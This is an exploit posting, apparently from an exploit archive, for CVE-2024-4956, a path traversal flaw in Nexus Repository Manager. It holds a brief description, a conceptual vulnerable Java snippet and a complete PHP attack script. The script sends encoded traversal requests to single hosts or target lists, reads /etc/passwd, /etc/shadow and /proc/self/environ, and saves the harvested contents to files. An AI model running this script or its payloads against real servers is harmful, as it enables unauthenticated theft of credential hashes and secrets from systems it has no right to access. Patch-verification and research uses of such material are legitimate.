📄 Nexus Repository Manager 3.53.0-01 File Disclosure / Traversal

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    | # Title     : Nexus Repository Manager v 3.53.0-01 read arbitrary files                                                                   |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.sonatype.com/products/sonatype-nexus-repository                                                                 |
    =============================================================================================================================================
    
    POC : 
    
    [+] References : https://packetstorm.news/files/id/181661/ & 	CVE-2024-4956
    
    
    [+] Summary :
    
    A critical path traversal vulnerability exists in Sonatype Nexus Repository Manager 3 that allows unauthenticated attackers to read arbitrary files from the server filesystem through crafted URL paths.
    The vulnerability enables complete system file disclosure without authentication.
    
    [+] Technical Description
    
    The vulnerability exists in Nexus Repository Manager's URL parsing and file serving functionality. 
    The application fails to properly validate and sanitize URL paths containing encoded directory traversal sequences, allowing attackers to bypass file access restrictions and read arbitrary files from the server filesystem.
    
    Vulnerable Code Pattern:
    
    java
    
    // Conceptual vulnerable code in file serving component
    @GET
    @Path("/{filePath:.*}")
    public Response serveFile(@PathParam("filePath") String filePath) {
        // Insufficient path normalization
        String resolvedPath = resolveFilePath(filePath);
        
        // No proper traversal detection
        File file = new File(baseDirectory, resolvedPath);
        
        if (file.exists()) {
            return Response.ok(file).build();
        }
        return Response.status(404).build();
    }
    
    [+] Usage: 
    
    # Check a single target
    
    php exploit.php -u 192.168.1.100:8081
    
    # Check a list of targets
    
    php exploit.php -l targets.txt
    
    # Test additional paths
    
    php exploit.php -t 192.168.1.100:8081
    
    # Show help
    
    php exploit.php -h
    
    [+] POC :
    
    <?php
    /**
     * CVE-2024-4956 Exploit - Nexus Repository Manager Path Traversal
     * By: indoushka
     * Converted from Python to PHP
     */
    
    class NexusExploit {
        private $colors;
        
        public function __construct() {
            $this->colors = [
                'GREEN'   => "\033[1;32m",
                'MAGENTA' => "\033[1;35m",
                'CYAN'    => "\033[1;36m",
                'RED'     => "\033[1;31m",
                'BLUE'    => "\033[1;34m",
                'YELLOW'  => "\033[1;33m",
                'WHITE'   => "\033[1;37m",
                'RESET'   => "\033[0m",
                'BOLD'    => "\033[1m"
            ];
            
            // Initialize color array for random selection
            $this->colorArray = [
                $this->colors['GREEN'],
                $this->colors['CYAN'], 
                $this->colors['BLUE']
            ];
        }
        
        private function color($text, $color) {
            return $this->colors[$color] . $text . $this->colors['RESET'];
        }
        
        private function randomColor() {
            return $this->colorArray[array_rand($this->colorArray)];
        }
        
        private function showBanner() {
            $randomColor = $this->randomColor();
            
            $banner = $randomColor . "
    
    " . $this->colors['RESET'] . 
    $this->colors['MAGENTA'] . "
     
    " . $this->colors['RESET'] .
    $this->colors['RED'] . "\n        CVE-2024-4956 - Nexus Repository Manager Path Traversal\n" . $this->colors['RESET'] .
    $this->colors['WHITE'] . "                    @indoushka\n\n" . $this->colors['RESET'];
    
            echo $banner;
        }
        
        private function readTargetList($filePath) {
            if (!file_exists($filePath)) {
                echo $this->color("[-] File not found: " . $filePath, 'RED') . "\n";
                return [];
            }
            
            $lines = file($filePath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
            return array_map('trim', $lines);
        }
        
        private function makeRequest($target, $urlPath) {
            $url = "http://" . $target . "/" . $urlPath;
            
            $context = stream_context_create([
                'http' => [
                    'timeout' => 5,
                    'ignore_errors' => true,
                    'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
                ]
            ]);
            
            $response = @file_get_contents($url, false, $context);
            
            if ($response === false) {
                return null;
            }
            
            return $response;
        }
        
        private function isVulnerableResponse($response, $urlPath) {
            // Check for false positives
            $falsePositives = [
                "nexus:x:200:200:Nexus Repository Manager user:/opt/sonatype/nexus:/bin/false",
                "Not Found",
                "400 Bad Request",
                "404 Not Found"
            ];
            
            foreach ($falsePositives as $fp) {
                if (stripos($response, $fp) !== false) {
                    return false;
                }
            }
            
            // Check for positive indicators
            if (strpos($urlPath, 'passwd') !== false && strpos($response, 'root:') !== false) {
                return true;
            }
            
            if (strpos($urlPath, 'shadow') !== false && strpos($response, 'root:') !== false) {
                return true;
            }
            
            return false;
        }
        
        public function scanSingleTarget($target) {
            $this->showBanner();
            
            echo $this->color("[*] Scanning target: ", 'BLUE') . $target . "\n\n";
            
            $testPaths = [
                "%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F../etc/passwd",
                "%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F../etc/shadow"
            ];
            
            $vulnerable = false;
            
            foreach ($testPaths as $path) {
                echo $this->color("[*] Testing path: ", 'YELLOW') . $path . "\n";
                
                $response = $this->makeRequest($target, $path);
                
                if ($response !== null && $this->isVulnerableResponse($response, $path)) {
                    echo $this->color("[+] VULNERABLE! File accessed successfully", 'GREEN') . "\n";
                    echo $this->color("[+] File contents:\n", 'GREEN');
                    echo $this->color(str_repeat("=", 60), 'CYAN') . "\n";
                    echo $response . "\n";
                    echo $this->color(str_repeat("=", 60), 'CYAN') . "\n";
                    $vulnerable = true;
                    break;
                } else {
                    echo $this->color("[-] Not vulnerable via this path", 'RED') . "\n";
                }
            }
            
            if (!$vulnerable) {
                echo $this->color("\n[-] Target does not appear to be vulnerable", 'RED') . "\n";
            }
            
            return $vulnerable;
        }
        
        public function scanTargetList($targetList) {
            $this->showBanner();
            
            echo $this->color("[*] Scanning multiple targets...\n", 'BLUE');
            echo $this->color("[*] Targets to scan: " . count($targetList), 'BLUE') . "\n\n";
            
            $testPaths = [
                "%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F../etc/passwd",
                "%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F../etc/shadow"
            ];
            
            $vulnerableTargets = [];
            
            foreach ($targetList as $index => $target) {
                echo $this->color("[" . ($index + 1) . "/" . count($targetList) . "] Testing: ", 'BLUE') . $target . "\n";
                
                foreach ($testPaths as $path) {
                    $response = $this->makeRequest($target, $path);
                    
                    if ($response !== null && $this->isVulnerableResponse($response, $path)) {
                        echo $this->color("[+] VULNERABLE: " . $target, 'GREEN') . "\n";
                        
                        $vulnerableTargets[] = [
                            'target' => $target,
                            'path' => $path,
                            'content' => $response
                        ];
                        
                        // Save results to file
                        $filename = "vulnerable_" . str_replace([':', '/', '\\'], '_', $target) . ".txt";
                        file_put_contents($filename, "Target: " . $target . "\nPath: " . $path . "\n\n" . $response);
                        echo $this->color("[+] Results saved to: " . $filename, 'CYAN') . "\n";
                        break 2; // Break both loops
                    }
                }
                
                echo $this->color("[-] Not vulnerable", 'RED') . "\n";
            }
            
            // Summary
            echo $this->color("\n" . str_repeat("=", 60), 'CYAN') . "\n";
            echo $this->color("[*] SCAN SUMMARY", 'BOLD') . "\n";
            echo $this->color(str_repeat("=", 60), 'CYAN') . "\n";
            echo $this->color("[+] Total targets scanned: ", 'BLUE') . count($targetList) . "\n";
            echo $this->color("[+] Vulnerable targets found: ", 
                count($vulnerableTargets) > 0 ? 'GREEN' : 'RED') . count($vulnerableTargets) . "\n";
            
            if (count($vulnerableTargets) > 0) {
                echo $this->color("[+] Vulnerable targets:", 'GREEN') . "\n";
                foreach ($vulnerableTargets as $vt) {
                    echo "  - " . $vt['target'] . "\n";
                }
            }
        }
        
        public function testAdditionalPaths($target) {
            $this->showBanner();
            
            echo $this->color("[*] Testing additional paths on: ", 'BLUE') . $target . "\n\n";
            
            $additionalPaths = [
                "%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F../etc/hosts" => "System hosts file",
                "%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F../etc/group" => "System groups file",
                "%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F../proc/version" => "Kernel version",
                "%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F../proc/self/environ" => "Process environment"
            ];
            
            foreach ($additionalPaths as $path => $description) {
                echo $this->color("[*] Testing: ", 'YELLOW') . $description . "\n";
                echo $this->color("[*] Path: ", 'CYAN') . $path . "\n";
                
                $response = $this->makeRequest($target, $path);
                
                if ($response !== null && !$this->isFalsePositive($response)) {
                    echo $this->color("[+] ACCESSIBLE: " . $description, 'GREEN') . "\n";
                    echo $this->color("[+] Content preview:\n", 'GREEN');
                    echo substr($response, 0, 500) . "\n\n";
                    
                    // Save to file
                    $filename = $description . "_" . str_replace([':', '/', '\\'], '_', $target) . ".txt";
                    file_put_contents($filename, $response);
                    echo $this->color("[+] Saved to: " . $filename, 'CYAN') . "\n\n";
                } else {
                    echo $this->color("[-] Not accessible", 'RED') . "\n\n";
                }
            }
        }
        
        private function isFalsePositive($response) {
            $falsePositives = [
                "nexus:x:200:200:Nexus Repository Manager",
                "Not Found",
                "Bad Request",
                "404",
                "400"
            ];
            
            foreach ($falsePositives as $fp) {
                if (stripos($response, $fp) !== false) {
                    return true;
                }
            }
            
            return false;
        }
    }
    
    // Main execution
    if (php_sapi_name() === 'cli') {
        $shortOptions = "u:l:t:h";
        $longOptions = ["url:", "list:", "test:", "help"];
        
        $options = getopt($shortOptions, $longOptions);
        
        if (isset($options['h']) || isset($options['help']) || empty($options)) {
            echo "CVE-2024-4956 - Nexus Repository Manager Path Traversal Exploit\n";
            echo "Usage:\n";
            echo "  php exploit.php -u <target_url>\n";
            echo "  php exploit.php -l <targets_list.txt>\n";
            echo "  php exploit.php -t <target_url>\n";
            echo "\nExamples:\n";
            echo "  php exploit.php -u 192.168.1.100:8081\n";
            echo "  php exploit.php -l targets.txt\n";
            echo "  php exploit.php -t 192.168.1.100:8081\n";
            echo "\nDescription:\n";
            echo "  Exploits path traversal vulnerability in Nexus Repository Manager (CVE-2024-4956)\n";
            echo "  Allows reading arbitrary files from the server filesystem\n";
            exit(0);
        }
        
        $exploit = new NexusExploit();
        
        if (isset($options['u']) || isset($options['url'])) {
            $target = $options['u'] ?? $options['url'];
            $exploit->scanSingleTarget($target);
        } 
        elseif (isset($options['l']) || isset($options['list'])) {
            $listFile = $options['l'] ?? $options['list'];
            $targets = $exploit->readTargetList($listFile);
            
            if (!empty($targets)) {
                $exploit->scanTargetList($targets);
            } else {
                echo "Error: No valid targets found in list file\n";
            }
        }
        elseif (isset($options['t']) || isset($options['test'])) {
            $target = $options['t'] ?? $options['test'];
            $exploit->testAdditionalPaths($target);
        }
    } else {
        echo "This script is intended for command line use only.\n";
    }
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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